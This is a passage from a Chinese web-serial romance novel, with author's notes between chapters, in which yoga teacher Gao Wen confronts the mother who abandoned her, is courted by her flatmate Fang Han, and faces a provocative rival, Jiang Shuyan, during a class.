“这样看起来，或许会方便精致一点？”高雯想了个词，随后笑道，“你可以理解为，差生文具多！” 她一个不做饭的人，买这些倒是勤快，不是差生文具多是什么。 “那倒没有。”方寒嘴角上扬，“你是想得周到。” 高雯往购物车里又放了一个小杯子，两人排队结账的时候，方寒看到身后的小女生拿着一束盆栽蝴蝶兰，粉粉的花瓣，开得正艳。 高雯也注意到了，她还瞥了好几眼。 “要买一盆吗？”方寒问，“这个花看着很好看。” “我想。”高雯点头，丝毫不掩饰自己的喜爱，“真好看。” “我去拿一盆，好像在另一边的门口。” 方寒说着就要去，高雯摇头，“我去 吧，我去看看还有没有其他的，你在这里等我，我很快回来。” 她说完，问了那个小女生一嘴，才往那边去。 高雯步伐轻快，方寒都看得出来，她有些迫不及待。 顺着小女孩说的方向，高雯找到了售卖盆栽的地方，有各种各样的玫瑰还有花束，还有各种好看的盆栽，多肉都被打包得清新文雅。 高雯看到都走不动道了，她拿了两盆多肉，想着给胡虹一盆，因为太好看，她还要给方寒买一盆小的，他可以放在电脑前，据说能防辐射。 她又挑了一束鲜花，一盆粉色蝴蝶兰。 高雯两只手提着，她低头看着这些花花，非常满意勾起唇角。 “妈妈，花花。”身后传来一道稚嫩的声音。 “我们不买。”一个女人接话。 高雯闻声转身，直接和抱着小女孩的女人对上。 宋洁脸色骤变，僵在原地。 不知道该做什么反应。 宋洁以为那天不过是错觉，高雯真真切切站在她面前。 比起几年前，高雯由青涩稚嫩，变得明媚动人。她气质大变，带着难言的优雅，那张脸更加明艳动人，而且还带着说不上来的感觉，仿佛高贵很多。 宋洁从未想过能在这里遇到高雯，或者说，她从来没想过她会出现在这个大都市。 于她而言，高父都死了，高雯还在上高中，她不可能无私为高雯奉献，她也想过好日子。这个女儿对她来说，不过是弃子，当时怀上高雯也不过是为了早点嫁给高父，过养尊处优的生活。 宋洁心里惶恐，眼神都闪躲起来，不敢直视高雯。 高雯好似没认出宋洁似的，侧过身子往前走。 脚步都没停顿。 宋洁还以为出现幻觉，再一次转身看着高雯的背影。 手机响起，看着来电，宋洁抱着女儿，匆匆往外走。 路边停着一辆黑色奔驰，宋洁打开车门坐上来：“麻烦你们了。” “没事，正好顺路。”林珩开口。 姜舒妍伸手去抱宋洁怀中的小女孩，笑得轻柔：“茹茹，有没有想姐姐啊？” “想~~~”小女孩声线脆脆，抱着姜舒妍亲一口。 姜舒妍抱着小女孩，笑意不达眼底。 宋洁则欣慰看着继女和女儿，她这些年和姜传文虽相处不怎么样，但和继女关系好，有姜舒妍在姜老太太面前说好话，这一次的生日宴，她们母女两人才能去，还专门来接她。 真是有心了。 宋洁收起内心杂乱的心思，想着一会要好好表现，争取让老太太印象好一点，这样的话，姜传文对她印象才能改观。 她还能再生，只要生到男孩，就能立足！ 姜舒妍逗着小女孩，像是随口朝前座的林思悦问道：“小悦，你们瑜伽馆的那个高雯老师能约到课吗？我也想去上两节。” 宋洁一听这个名字，眼底猛地一缩。 高雯？ 应该是同名同姓吧，一切怎么可能那么巧？ “不知道诶，我一会帮你问问。”林思悦回。 “好啊，”姜舒妍说着道，“她的课这么难约，也是厉害了。我知道她的时候，她还只是你哥公司的实习生，现在都是网红的瑜伽老师了，她好像不是本地人吧？年纪还那么小。” “我不知道她是哪里人，她没说过她的家庭，”林思悦接话，“她才二十一岁，和我一样大呢。” 宋洁听到这个年龄，神色又是一变。 林思悦还把手机往后伸了伸，“看，这是我今天给她拍的照片，美翻了！我的偶像！” 姜舒妍余光看向宋洁，只见她在看到照片里的人后，面色一阵青白。 宋洁怕被发现，连忙看向窗外，握着手机的手一直在抖—— 作者有话说：因为卡文了，二更姗姗来迟。 最近有点卡，给我一点包容哦，会尽量多更呐。 大家晚安。 第57章 第57章 姜舒妍把宋洁的反应尽收眼底…… 姜舒妍把宋洁的反应尽收眼底。 这也是她想要的效果。 宋洁和高雯属于文中的一条隐藏线, 姜舒妍原本不怎么在意，因为这对母女都太拉垮，压根给她造不成威胁。 而且, 比起剧情中, 她还和宋洁相处良好。 但姜舒妍对宋洁，那是格外看不上。 这人太自私自利又心狠。 据她所知, 姜传文去旅游时，和宋洁勾搭上了，还怀了孩子, 当时说很可能是男孩，可把姜传文高兴坏了, 他觉得自己终于有了后代。 宋洁直接抛下正要高考的高雯，变卖全部家产玩消失, 和姜传文来A市。 奈何她运气不好, 生下姜茹, 偏偏是个女儿，这些年都还没领证, 名不正言不顺住在姜传文名下的一套房子里, 靠姜茹每个月有点生活费，还经常断, 估计把前些年变卖家产的钱都花得差不多了。 宋洁见到高雯, 怕是如同见到“索命鬼”，尤其是得知他们都认识高雯，更怕不堪的过去被暴露。 姜舒妍很了解这种人, 和她一样，最怕失去优越的生活条件，根本回不去以前, 过不了一点穷苦日子，更没能力。 * 小区内。 高雯和方寒正走回来。 他拎着两大袋东西，高雯拿着花束和盆栽。 “你怎么了？心情不好吗？”方寒看着高雯轻声问。 高雯脸上没半点买花前的喜悦，反而一副心事重重的模样，着实让他有些担忧。 “没事，就是想到了点事情。”高雯思绪回神，扯了扯嘴角， 方寒没再多问。 两人回去后，高雯将盆栽放在桌子上，把小盆多肉给方寒：“这个给你，就放在你的电脑前吧，可能会有点用。” 方寒接过来，看着手上的小多肉，眉梢带上一抹笑意。 他把多肉拿回去，郑重放在电脑前，还移了几个位置，这才离开房间，拎着食材去厨房。 除了买食材，他们这一次还买了很多碗碟和小物件，高雯正在客厅，她插好花后，一件件拿出小物件，正在思考如何摆放，偶尔还会进出厨房，让方寒做参考。 小小的客厅厨房内，都是他们两人忙碌的身影，方寒一回头，就能看到高雯，他的眼底盛满了笑意，心也随之被幸福填满。 这样的场景，他幻想了无数次。 深夜。 方寒倚靠在床头，他倾身打开床头柜，从里面拿出一个盒子，放在身上打开。 灯光的折射下，项链吊坠上的钻石发出璀璨光芒。 这条项链，就是高雯在商场看上的。 两人回来当晚，方寒怕被人买走，等她回房后，他又匆匆出去。 项链是买回来了，还差一个送给她的机会，方寒先前并未做过这种事，经过这段时间相处，他也深知高雯的性格特点，若是贸然送，估计会弄巧成拙。 虽然他觉得没什么，但她不会轻易接受，会给她造成困扰。 方寒把盒子盖上，小心翼翼放在抽屉，起身走出去接水。 他坐在餐桌上，看向高雯卧室。 这个时间点，她睡了。 隔着一扇门，高雯其实没睡，她坐在床上，眼底清明，没有半点困意。 一段同样被她尘封的记忆，正被强迫开启，那是她最不愿意提及的过去。 无助、迷茫、恐慌、害怕、绝望—— 那是人生第一次成长。 高雯双手环抱自己的双膝，默默把头埋了起来。 就这样吧，希望继续遗忘。 然而，宋洁并不打算放过高雯。 她几个晚上没睡，不安和惶恐席卷了她。 尤其是，从对林思悦只言片语地打听中，她查到了高雯的网上视频账号，知道她混得风生水起，居然还是考上A大来的A市。 高雯当时的高考成绩，只能说能上普通重本，而且是他们砸了不少钱补习下的结果，一节课就得几百块。 高父死了，失去收入来源，宋洁觉得高雯也就上个普通本科。 这个消息，的确大大出乎她的意料。 不管如何，高雯都不能留在这里。 几番周折，宋洁拿到了高雯的电话号码，电话拨出去，高雯清脆礼貌的声音传来：“您好。” “是我。”宋洁抿唇说。 “您是？”高雯语气很疑惑。 宋洁深吸一口气，脸色很不自然，她硬生生挤出一句：“我是你妈，什么时候有空见一面？” 几年不这样自称了，她很不喜欢。 “您恐怕认错人了，我妈早死了。” 高雯话语里带了一丝的讥诮和讽刺，让宋洁瞬间一梗，脸色铁青。 她生怕高雯缠上她，质问当年的事情，却没料到对方是这样的态度。 高雯居然诅咒她！ 宋洁刚要继续说话，那一头就干脆挂断了。 她再拨打回去，已经打不通，直接把她气得一口气险些没提上来。 高雯下完课，并不着急回去，她一个人在教室里自我练习，不断加深体式。 汗水顺着她的脸颊不断滑落，滴在瑜伽垫上，一颗又一颗，很快湿了一大块，头发和身上的衣服也全湿了。 她抿着唇一声不吭，柳眉都没皱一下。 前台小姑娘下班前，还悄悄开门，看到教室里的高雯，眼底诧异又佩服：“雯雯老师，馆里没人了，我也要回去了。” “嗯，拜拜。”高雯张了口，扯了一抹笑。 “拜拜。” 教室门在一起被关上，高雯继续训练，等到精疲力尽的时候，她躺在瑜伽垫上喘息。 调整好后，高雯起身。 她拿过手机一看，消息栏里，有好几条方寒发的消息。 一般来说，方寒都不会打扰她，发了一两条后，就会默默等她回。 现在已经接近十一点，超出了高雯平常加班的点，高雯能察觉到他的担忧，就连电话，他都打了两个。 高雯一个视频电话就拨打回去。 下一秒就接通了。 方寒剑眉紧蹙，嗓音依旧温柔，轻声问：“你怎么都不回我消息？” “在忙呢。”高雯说，还挤出一抹疲倦的笑。 方寒看到她湿漉漉的头发和脸上的汗珠，眼底怜惜担忧：“我在公司。外面天冷了，你要换上干衣服，别吹风着凉了。” “嗯，现在去换，我带了。”高雯点头。 方寒：“我去楼下等你，我们一起回去。” “好。” 高雯换好衣服，走出去的时候，就看到站在树下的那一抹笔挺修长的身影，方寒看到她的时候，眉眼上扬，视线一直落在她身上。 “你今天格外辛苦啊，饿不饿？”方寒朝高雯走来，尾音里带着都是细碎温柔的爱意。 高雯心尖像是猛地被扎一下，随后泛起余热，她低头摇了摇，深吸了口气，才轻声道：“不饿。” 也没什么胃口。 “有什么不开心的事吗？”方寒关切问。 “没有，就是累了，”高雯说完补充，“有那么一点超出范围了。” 闻言，方寒也担忧起来：“要不休息休息？身体最重要。” “回去睡一觉就好了。”高雯说着往前走，“回去吧，我困了。” 方寒跟在她身后。 他一直都是个少言的人，平常高雯的话稍微多一些，她会说一说瑜伽馆的趣事，上课的困扰，甚至网上视频号私信的搞笑事情，今天她没说话，他只能一直找话题。 高雯听着方寒绞尽脑汁找话题，那么干硬，她的唇角不自觉露出一抹很浅的笑。 两人并肩而走时，她忍不住往他那边靠近一些。 天气慢慢变冷了。 高雯却觉得方寒身上带着暖意，她总是被治愈，杂乱无章的心情，在看到他的时候，会变踏实，她想要靠近他多一点，从他身上汲取一些温暖，日子会感觉有那么一点开心和幸福。 回到家后，方寒问高雯：“你不是要吃葱油拌面吗？我现在给你做？吃两口也行。” “太麻烦 ，而且很晚了。”高雯摇头，拖着脚步往屋内走，“我困了。” “那好吧，早点睡。”方寒给她盛了杯温水，“晚安。” 高雯手握那杯温水，轻轻一笑，往卧室走：“晚安。” 又过两天。 高雯太繁忙，被影响的心情逐渐恢复正常。 她自认为她已经足够疼自己，但方寒对她很好很好，他估计还惦记着她这段时间太累，心情不佳，在这一周的放纵日，要给她做一顿大餐。 “别客气，你可以点菜，我应该都会做。”方寒在视频的另一面说。 “我不会客气啊，”高雯站在教室的落地窗前，笑着道，“我想吃葱姜爆炒大螃蟹，还想吃糟粕醋火锅，蜜汁鸡翅” 她点了一串菜名：“你就挑一点做吧，不然下次都不知道吃什么，排名不分先后。” 方寒笑着点头：“好，我一会看看。” “我晚上会多上一节课，下课会晚。” “没关系，我下班早，我自己去超市，你有什么要买的吗？”方寒都想好了，就去上次那个生鲜大超市，里面的花和盆栽很好看，他给她买点。 希望能让她心情好一点。 “彩虹糖。”高雯脱口而出，她格外想吃。 方寒眼底微闪：“嗯，” 高雯晚上着急回去吃饭，会员却没准时到。 八点的课，又改到了八点半，高雯只能不断给方寒发消息，道歉不断。 他脾气一直很好，反过来还安慰她不着急，他还没做好饭，晚一点再做。 高雯心里还是很内疚着急。 等她上完课，赶紧收拾，穿上外套准备回去。 高雯从教室走出来，发现林思悦没走。 “你还没回去吗？”高雯诧异。 值班是前台的事情，林思悦通常六点就下班了，现在九点半，她以为前台都没人了。 “我刚好没事，就留在这，”林思悦正在追剧，见高雯出来笑道，“我哥说下班来接我，我就等等他咯。” 她说完，手机传来消息，“我哥到了，我们送你回去吧？” “不用。”高雯不喜欢麻烦别人。 不过，转念一想，她现在最麻烦的人就是方寒，可能脸皮厚了，知道他人好又纵容她，居然都不会不好意思，还理直气壮点菜谱了。 “走啦，很方便的，现在那么晚，外面那么冷，必须送你回去。”林思悦挽着高雯，一定要送她回去。 盛情难却，高雯想到方寒还在家里等她，就没拒绝：“麻烦你哥了。” “不会啊，我们全家都感谢你，没有你，我还是个啃老族，我现在可风光了，我爸妈不仅能在外面吹嘘我哥，还能吹嘘我！”林思悦笑眯眯，黏在高雯身边。 高雯和林思悦一起往路边走，两人有说有笑。 黑色的奔驰停在路边，林思悦走上去喊了声：“哥。” 随后，她打开车门，对身后的高雯道：“雯雯姐，你先进去。” 此言一出，驾驶座上的林珩眼神微凝，默默挂掉了电话，坐直身体—— 作者有话说：二更见哦。 第58章 第58章 你是以什么样的胆量，出现在…… 高雯坐进车里。 林思悦随即跟着坐进来, 她把门一关，冲着前面道：“哥，我们先把雯雯姐送回去。” 高雯刚要开口道谢, 前面的人扭头看向她。 看到林珩, 高雯懵了一瞬，直接愣住。 林珩, 林思悦，两人是兄妹？ “这么吃惊？”林珩轻笑出声，“难道你对我有意见？” 林思悦看着两人, 满头雾水，她哥说话的语气不太对。 高雯手握成拳, 收敛思绪接话道：“没有，林总监对我很关照。” 林珩没接话, 启动车子往前开。 林思悦是林珩的妹妹。 这让高雯分外难受, 虽然林思悦无辜, 但她不喜欢和林珩扯上任何关系，包括他身边的人, 所有事。 林思悦见他们交谈愉快, 感觉关系近了一层，甚至激动道, “哥, 先前你怎么都没说过雯雯姐？我还以为你们不怎么熟。” 她之前还误会高雯缠着林珩，想想真是尴尬。 林珩打着方向盘掉头，低沉的话语在车厢内响起, 半开玩笑：“没什么好说的，对她来说，在我们公司都屈才了, 她在公司过得或许不那么愉快。” “林总监多虑了，你们对我很好，是我自己想要换就业方向。”高雯否认。 “每个人都有每个人擅长的领域，事实证明，你做得很对。”林珩的话语里，带了肯定和赞赏。 林珩一夸，高雯更头疼，自然要谦虚回应。 两人就这么公式化客套两句，就没再交流。 有林思悦在，气氛也不会冷场。 林思悦得知高雯和林珩关系不错，很是诧异开心，她本身有太多话想和高雯说了。 两人一直聊着天，大部分是林思悦一直说个不停。 车开到小区门口，高雯提前对林珩说：“在小区门口停就行，我要去便利店买点东西。” 林珩刚把车挺稳，高雯就推门下车：“麻烦了，谢谢。” 她说完，看了林思悦一眼，摆了摆手，才轻轻关上车门。 林珩并未马上驱车离开，而是看着高雯进便利店，然后才慢慢开车往前。 到了拐角处，林思悦身子往前倾：“哥，你喜欢雯雯姐啊？” 话音未落，林珩骤然急踩了刹车，眼底闪过一丝被看穿的慌乱，但很快消失了。 林思悦还有什么不明白的，她重新坐回来：“这一路，你都快把车速开成乌龟了，一点都不像你的风格。再说了，你喜欢她也很正常，好多人都喜欢他，隔三差五就有楼上公司的男人来打听她的联系方式，那些阿姨大妈，天天要给她介绍对象。” 高雯在人群里，属于明艳亮眼，身材纤细，气质优雅，谁不喜欢，别说男人了，她也喜欢。 林珩剑眉拧了拧，加快了车速。 “可是你和舒妍姐怎么办？”林思悦苦恼，随后瞪大眼，“你不想和舒妍姐订婚，不会是因为雯雯姐吧？这对舒妍姐太不公平了。” 林珩沉声强调：“我和她之间，不关任何人的事，我对她没有男女之情。” 他之前可以接受父辈的安排，照顾姜舒妍，但他现在不想。 林思悦看着林珩态度如此坚决，没再多说。 可她很清楚，姜舒妍很喜欢她哥，这不是造孽吗？ “你最近少接触姜舒妍。”林珩又说。 “为什么呀？”林思悦问。 林珩没明说他在外面听到的小道消息，只是道：“她要是向你借钱，别借，你及时跟我说。” “我——”林思悦刚想说姜舒妍让她签的担保合同，又想起对方的叮嘱，怕林珩对姜舒妍的印象更差，起了怜悯之心，把这件事压下来了，嗡里嗡气回，“嗯。” * 高雯在便利店逛了一圈，买了一瓶她平时喜欢喝的牛奶。 看着手中的牛奶，她才想起来，自己很久没买了，都是方寒买，每隔几天他都会买几瓶。 方寒也会喝，不过好像都是她没喝之后，他才会喝。 高雯把牛奶放在门口的微波炉加热后，拿出来握在手心里，余温不断传出来。 她看了看手机，回复着方寒的消息，喝了一口牛奶，然后往居住的楼层走去。 没什么大不了，她记得没错的话，在所谓的剧情里，林思悦不喜欢她，甚至为姜舒妍愤愤不平，现在不是也改变了吗？ 她们相处挺好，她不应该被这些事影响。 高雯进电梯时，又看了眼手机，方寒没回她。 估计在忙吧，他说等她回来再炒菜，这样的话正好。 一想到这里，高雯心情好了许多。 到了门前，她正在包里找钥匙，还没找到，门打开了，伴随着一阵饭菜的香味。 高雯心里的郁闷沉重悄然疏散，她看向方寒，轻轻笑了笑：“你怎么知道我回来了？” “听到声音了。”方寒侧身给她让路，刚要出口说话，往里走的高雯动作顿住，她的笑容瞬间消失，瞥了眼沙发上坐的人后，回头看向方寒，话语质问，“你让她进来的？” 方寒见高雯反应这么大，连忙解释道：“你妈说她来看看你——” 对方刚到，他还没来得及和她说。 高雯面色阴冷，声线不掺杂一点温度：“我妈很早就死了，我不认识她。” 方寒哪见过她这个样子，也沉了脸，走向宋洁，快速道：“阿姨，麻烦您出去。” 他不清楚高雯的事情，但他知道她现在很生气，还有点委屈，这是他最不愿意看到的。 宋洁站起身来，走到高雯面前，厉声道：“你就是这么对长辈的？我从小就这么教你的？你有没有家教？” “我没爸没妈，我连家都没有，哪来的家教？”高雯见她这架势，是不打算走了，她看向宋洁嗤笑一声，“要不，你下去跟我爸说？” “你再说一遍！”宋洁七窍生烟，呵斥出口。 “请你出去，”方寒听着宋洁的话，直接打开了门，“这里不欢迎你。” 宋洁看着刚刚还对她态度恭敬的方寒，如今沉了脸，毫不客气逐客，更加怒火中烧。她看着高雯，“你不承认我是你妈，也改变不了我是你妈，你是我生出来的！” “我既然能找到这，我就能找到其他地方，我们之间好好谈，你躲不掉。” 高雯不清楚她们之间有什么好谈的。 她看了方寒一眼：“你先回房，我们有事说。” 方寒并不愿意走，他很担心她。 高雯：“回去吧。” 她还是不想让他知道太多。 方寒在她的坚持下，回了房间。 房门关上，高雯神色平静看着宋洁，话语清晰，“聊什么？聊你说怎么卷走我爸的赔偿款，还是聊你怎么把房子卖了，让我无家可归，又或者聊你卷走所有钱，这几年不管我的死活？法律规定都得赡养到十八，你犯法，知道吗？” 宋洁被高雯说得面色一阵青白，但她有自己的逻辑：“这些年，你过得不差，要不是这件事，你能上A大？能来首都？反观我，又过得多好？我凭什么为你的人生买单？我也要活！” “所以呢？”高雯无语到并不想和她理论。 “我不清楚你是怎么知道我来了这里，你已经害了我一次。要不是你，我就不会嫁给你爸，十几岁就生了你，不到四十就守寡了，我好不容易摸爬滚打来了这里，这几年过得足够辛苦，你不能待在这里，毕业之后，你就回去。”宋洁下通牒，态度特别强硬。 她认为，高雯肯定是知道她来了这里，所以也来了。 赌气也好，想要和她相认也罢。 反正高雯要回去，不能再待在这里，不能让姜家人知道她还有这么大的女儿，更不能暴露她干的那些事！ 高雯听到宋洁的话，都忍不住冷笑，目光凌厉看向她：“我并不关心你在哪，你去了哪。真要说起来，你嫁给我爸，不过是想靠着我衣食无忧，说起来，应该是你靠着我，过了十多年好日子，你应该感谢我，不然你前十多年，过得还不如这几年。” 宋洁被戳中，暴跳如雷，抬起手就要往高雯脸上扇去。 只见高雯一动不动，神色淡漠看着她，带着洞察一切的犀利。 宋洁那一巴掌，迟迟不敢扇下去，她把手放下来，气得浑身发抖，语调尖锐起来，“你是我养出来的，我还不知道你是什么样的人？不过你也的确让我失望，小时候白白花那么多钱培养你，白长了这张脸，”她指着这个小客厅，指着桌上的饭菜，“你居然和男人同居在这样的地方，连同居都是合租房，你以为你看得上他吗？你能过这样的日子吗？” 宋洁说着声线拔高：“不可能！你根本就不可能安心过这样的日子！你毕业后回老家去，我让人给你介绍当地富二代，在小县城待着，反正你有视频账号，哪里都能赚钱。在这里，你什么都不是，更别指望嫁得好，回去你就是香饽饽，男人抢着要！” 高雯听着这些话，垂落的手收紧，她的眼神更加冰冷，扫视宋洁：“你以什么样的身份，在这里命令我？不觉得可笑吗？” 她说着，步步往宋洁靠近：“你在担心我坏你好事？” 宋洁面色难以绷住。 “既然你已经消失这么多年，为什么不继续消失？”高雯讽刺道，“别忘了，我爸的钱，我也有份，你是以什么样的胆量，出现在我面前？” 宋洁往后退，脚一软，跌坐在沙发上，她完全没想到高雯会如此无情对她。 孩子对父母不是有天然的依赖吗？父母就应该轻而易举掌控孩子才对。 高雯眼中的恨意丝毫不加掩饰，居高临下看着宋洁：“你说得对，你最了解我。现在看来，我比你更聪明，更懂这个社会规则，不然我怎么赚得到这么多钱，活得这么好？这也意味着我比你自私自利和冷血。” “你没什么能威胁到我，反而是我，想要让你付出代价太简单了。你最应该做的，就是彻底在我眼前消失，滚得远远的。” 宋洁听着高雯厌恶又冰冷的话语，只觉得一股冷气从脚底往上冒，浑身都开始发抖，她哪还敢说话，拿着包，踉踉跄跄往门口去，落荒而逃—— 作者有话说：和大家说一下，明天早上就不更了，下午六点再更，因为要写比较重要的一章。 写个高潮点。 不会虐和拖拉的哈，这个月要完结正文啦。 大家晚安。 第59章 第59章 姜舒妍来找高雯。 方寒听到关门声, 等了一会，才从房内出来。 客厅已经空无一人，高雯的房门紧闭, 里面亮着灯。 方寒默默把茶几上给宋洁倒的那杯水拿起来, 走到厨房，连同杯子, 丢进了垃圾桶内，打开水龙头用力洗手。 若是知道把人放进来会闹成这样，他绝对不会让对方进来。 而后, 方寒把没炒好的饭菜继续翻炒。 房内。 高雯坐在书桌前，抿紧唇瓣, 眸光里带着淡漠。 宋洁的到来，的确牵动她很大情绪。 高父意外去世, 她就已经过于伤心欲绝, 这种情况下, 还被亲生母亲抛弃，连家都没了, 那一刻的绝望, 都让她站在了天台上。 她在湖边走的时候，无数次都想着要不跳下去得了。 活着太辛苦太累, 被所有人抛弃, 未来迷茫。 但她这人不屈服，不服输。 死不了，还要硬活着, 还得活得很好很好。 高雯早就接受自己无父无母，她不明白，她越想把生活过好的时候, 为什么总有那么多事情出现？ 她拼了命爬到A市，马上就能立足，宋洁凭什么一句话就让她回去？ 要滚，也是她滚！ 高雯收起情绪，站起来往门口走。 她伸手打开门，就看到在门外的方寒。 他看到高雯突然开门，也是一怔，随即小心翼翼问：“我做好饭了，吃点饭吧？” 本来是两个人高高兴兴吃顿饭，结果闹成这样。 方寒看到她刚刚过激的样子，悔不当初，也很心疼。 高雯看向餐桌，上面摆满了菜，是她想吃的糟粕醋火锅，还有她点名要吃的葱姜炒大螃蟹，他应该花了很多心思。 “嗯。”高雯点头，往餐桌走去，扯了扯唇角笑道，“我饿了。” “我给你盛点饭垫垫肚子。”方寒火速走过去，还给高雯倒了刚刚榨的橙汁。 高雯洗了手，正夹着菜往锅里放，方寒坐在她对面，看着高雯，话语歉意出口：“对不起，我——” “没什么好对不起的，这不是你的错，而且也没什么事，都过去了。”高雯打断，她抬眸看向方寒，还轻笑了笑，说完，她夹了一块螃蟹，“我喜欢吃这个。” “刚炒出来味道最好，趁热多吃。”方寒往锅里放菜。 “好吃啊。”高雯唆了一口，眉眼弯了弯。 见此，方寒嘴角噙了笑意。 两人有一搭没一搭地聊着天，仿佛刚刚的事情全然没发生过。 方寒买了些鲜虾，放在锅底中煮熟后，捞出来剥了壳，放在高雯碗中。 “谢谢。”高雯浅笑。 方寒：“你多吃点。” “知道啦。” 晚间。 高雯洗漱好后，照常直播一会，护了肤，就下播上床准备睡觉。 但她失眠了。 高雯在床上辗转反侧，失眠不是一件好事情，代表这件事严重影响到了她的生活。 不过，宋洁自那天后，她就再也没出现过。 高雯觉得，再过一段时间，她的生活就会回归正轨。 只是，她现在看到林思悦，就会联想到林珩，原文中害她的“罪魁祸首”，她实在是不知道以什么样的心态和林思悦相处。 林思悦什么都不知道，还以为两人关系近了一步，一大早，就蹦蹦跳跳来告诉高雯：“雯雯姐，我有个朋友要来上体验课，你方便上吗？” “这两天的课，都排满了呀。”高雯说。 “你看看什么时候有时间嘛，给她排一节，她说想要体验。”林思悦双手合十，面色哀求。 高雯的课虽然没有活动，但每个人可以买一节体验课，1999 一节，体验后如果想要继续购课，就是十节起买，价格是18880。 “今天中午吧？一点到两点，她可以上吗？”高雯想了想说。 她中午偶尔也会上课，这段时间思绪太乱，她不想闲着。 “我问问哦。”林思悦走到一边打电话。 “好，可以的话再跟我说，我先去上课了。”高雯说着往教室走。 高雯今天上午是满课。 从早上六点胡虹来后，就一直上到十一点半，一下课，张妮就在门口朝高雯招手，“吃饭啦，你十二点还有课。” “今天吃什么？”高雯笑着走过去。 她上课忙的话，前台和张妮就会帮她订餐，一般都是减脂餐。 张妮笑得神秘，高雯出来后，她走到前台，拿着一个袋子，递给高雯，“我可不知道，方工让我给你的，是爱心便当！” 高雯眼底微闪，伸手接过来，往休息间走。 她坐下来后，打开袋子，里面是两个盒子，她一个个打开。 张妮闻到香味走过来：“哇，青椒牛肉、肉末蒸蛋、番茄花菜，还有是啥？板栗鸡汤啊？”她一一看了以后，不免羡慕，“方工的手艺这么好。” 高雯看到袋子放了勺子和筷子，唇角露出极其柔和的笑意：“要不要一起吃点？” “不了，我有汉堡，”张妮举了举手里的汉堡，“方工给你送这么丰富的午餐，我老公给了我一个汉堡，这就是人和人的差距啊。” 顾书杰还说方寒木讷是感情小白，不会追人。 依她看，这也太贴心，太会追人了吧！ 张妮走后，高雯用手机，拍了照片给方寒发过去。 方寒很快回：【你要按时吃饭。】 听张妮说，高雯经常就是应付几口，要么就吃点麦片，他觉得不能这样，很伤身体。 高雯吃着饭不方便打字，一个视频电话就给方寒打过去。 响了好几声，他才接。 高雯看了看背景，是在楼梯间，她有些不好意思：“你还没下班啊？我是不是打扰你了？” 她都觉得自己好霸道，说给他打视频就打视频。 方寒坐在台阶上，笑道：“今天是周末，算加班。我刚到公司，还没开始当牛马。” 他的话把高雯逗乐了，“我吃完饭也要当牛马，同病相怜。” 两人相视一笑 高雯和方寒聊了小半个小时，正好吃完饭。 前台小姑娘来告诉高雯，说是会员来了，正在换衣服。 高雯和方寒挂了电话，提前去教室。 一节课后，林思悦走过来趴在门口，笑着道：“雯雯姐，我的好朋友来了，她是第一次上课，多多担待啦。” “嗯，我知道。”高雯起身，将刚刚会员用的瑜伽垫收到一边，走过去准备拿一张新的瑜伽垫，听到身后有声音，她笑着道，“麻烦稍等一下，我铺个垫子。” “没关系。”一道女声传来。 “你们先上课，我关门了。”林思悦说着把门关上。 高雯拿着垫子刚要转身，她透过窗户，看到身后的人，握着垫子的手猛地收紧，眼底骤然一缩。 “小悦说你的课很难约，我就想来看看。”姜舒妍笑着开口，话语间，很是友善。 “近几天人多而已。”高雯已经调整思绪，走过去熟练把垫子铺好，再次看向姜舒妍时，眸光清明，轻声问，“你是想上什么课呢？” “都可以。”姜舒妍看着她说。 高雯点头：“先站到垫子上吧，我看看你的体态，做下评估。” 姜舒妍走过去，站在垫子上。 高雯做评估的时候，她又笑着出口：“你可能不认识我，但我认识你。” 高雯笑了笑，并不准备多言。 她在想，可能是姜舒妍看了她的视频号。 按照时间线，林珩和姜舒妍应该要订婚了，而且中间没她什么事。 “你是宋姨的女儿吧？”姜舒妍看着高雯继续道，“你和她长得真的挺像，性子看着也很好。我妈去世后，我爸身体一直不好，宋姨来到我家后，生了茹茹，给我们带来很多欢乐，又尽心照顾我爸和我，我很感激她。” “只是，我之前并不知道你的存在，也没想到你和小悦认识，不然我们早就见面了，我觉得我和你应该也投得来。” 高雯看着姜舒妍笑而不语。 她妈去给对方当继母了，高雯还真不知道，她只知道自己被抛弃，这么些年苦苦熬过来的。 姜舒妍现在来找她说这些话，虽然克制，努力表现友好，但话语里的炫耀得意，的确藏不住。 剧情说姜舒妍是柔弱小白花，心思简单善良。 高雯看未必。 只是姜舒妍的目的，高雯无从得知，暂且就当恶意挑衅处理。 “练腿吧？行吗？”高雯问姜舒妍。 “可以啊。”姜舒妍愉快答应。 “坐下吧。”高雯走到一边，拿了一根狼牙棒走过来。 姜舒妍疑惑：“这是什么？” “给你松解松解肌肉，不然练了回去会疼。” “这样啊，好的。” 接下来的五分钟，姜舒妍经历了一场酷刑。 林思悦不放心走到门口，听到里面传来的声音，默默叹气。 谁没经历这一遭呢？ 姜舒妍的确没经历过，穿书前，她就是个底层社畜，唯一的锻炼就是蹦两下，跑步都很少，她要是有吃苦的毅力，有这么好的起点，也不会穿书这么多年一事无成。 高雯狼牙棒落下，姜舒妍忍了两秒，就疼出眼泪，“你在做什么？” “松解肌肉才能上课。”高雯上课的气势一出，语气严肃，她按着她的腿，面无表情，手上力道没有丝毫减缓。 姜舒妍大口吸着气，眼泪直流，姿势相当狼狈，趴在地上捶打。 好不容易结束，姜舒妍还没说话，高雯的狼牙棒又落到她另一边腿，压下去揉搓。 “我不上了，我不要上了。”姜舒妍断断续续说着，说话都是哭腔，那叫一个可怜。 “忍忍就好了。”高雯说。 “啊——啊——”姜舒妍实在忍不住了，哭着伸手挣扎。 她那点小力气，哪里争得过高雯，硬生生被蹂躏了一番，最后还是用尽力气，恶狠狠要把高雯踢开，大声呵斥：“高雯，你故意的吧？！你有病啊？” 高雯提前躲开，拿着狼牙棒站起来。 下一秒，林思悦急急忙忙开门进来：“怎么了怎么了？” 姜舒妍疼得直哭，一瘸一拐指着高雯大骂：“她故意针对我，什么网红老师，一点都不专业！” 高雯静静看着姜舒妍狰狞的面孔。 终于是不装了。 “舒妍姐，你别这样啊，”林思悦看了看高雯，十分歉意，转身继续劝姜舒妍，“上这个课就是这样，疼一疼就没事了，不然练了回家更疼。 ” “肯定不是这样，她就是故意的！”姜舒妍抹了把眼泪，她看着镜子里自己狼狈的模样，见高雯一副冷艳傲慢的样子，口不择言道，“她就是有病！” 林思悦被姜舒妍这么过分的话语震惊。 难以消化。 高雯收起狼牙棒，张口缓缓道：“如果你不想上了，那就不上了，钱退给你。你的痛点和忍耐力可能有点低，不适合上这种课。” 姜舒妍还想说什么，林思悦也点头接话：“对啊，舒妍姐，你别上了，我让她们把钱退给你。雯雯姐上课就是这样，她一直都很负责，你别误会她了。” 